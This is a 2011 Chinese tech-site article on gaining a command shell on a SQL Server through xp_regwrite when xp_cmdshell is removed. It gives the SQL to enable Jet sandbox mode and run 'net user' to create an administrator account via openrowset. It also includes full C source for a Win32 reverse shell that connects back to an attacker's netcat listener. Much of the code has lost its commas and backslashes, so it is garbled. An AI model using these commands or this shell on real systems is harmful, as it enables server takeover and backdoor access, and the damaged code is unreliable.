知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 技术文献

SA权限仅需xp_regwrite即可有dos shell

发布时间:2011-06-29 17:09:43作者:知识屋

删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
绝对比去想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径
nt/2k: x:winntsystem32
xp/2003: x:windowssystem32
如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试
当然如果野蛮一点,四个轮流来一遍也行。

首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWAREMicrosoftJet4.0Engines''SandBoxMode''REG_DWORD'1

然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0'';database=c:winntsystem32iasias.mdb''select shell("cmd.exe /c net user admin admin1234 /add")')

附:
无法连接数据库服务器时(数据库一般不对外开放,但是可以对外访问),
可以使用反弹dos shell方式搞定
====================== CUT here =======================
//name     : win32 connect back shell source for nt/2K/xp/2003
//compile   : cl win32cbsh.c   (vc6)
//usage     : 
//on your pc   : nc -l -p {listen port}
//on vitim pc   : win32cbsh {your ip} {listen port}
//warning   : if there's no parameter specified it will cause "fatal error"
#include 
#pragma comment(lib"ws2_32")
int main(int argc char **argv)
{
  WSADATA wsaData;
  SOCKET hSocket;
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  struct sockaddr_in adik_sin;
  memset(&adik_sin0sizeof(adik_sin));
  memset(&si0sizeof(si));
  WSAStartup(MAKEWORD(20)&wsaData);
  hSocket=WSASocket(AF_INETSOCK_STREAMNULLNULLNULLNULL);
  adik_sin.sin_family=AF_INET;
  adik_sin.sin_port=htons(atoi(argv[2]));
  adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
  if(0!=connect(hSocket(struct sockaddr*)&adik_sinsizeof(adik_sin))) return -1;
  si.cb=sizeof(si);
  si.dwFlags=STARTF_USESTDHANDLES;
  si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
  CreateProcess(NULL"cmd.exe"NULLNULL1NULLNULLNULL&si&pi);
  return 0;
}
====================== CUT here =======================

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜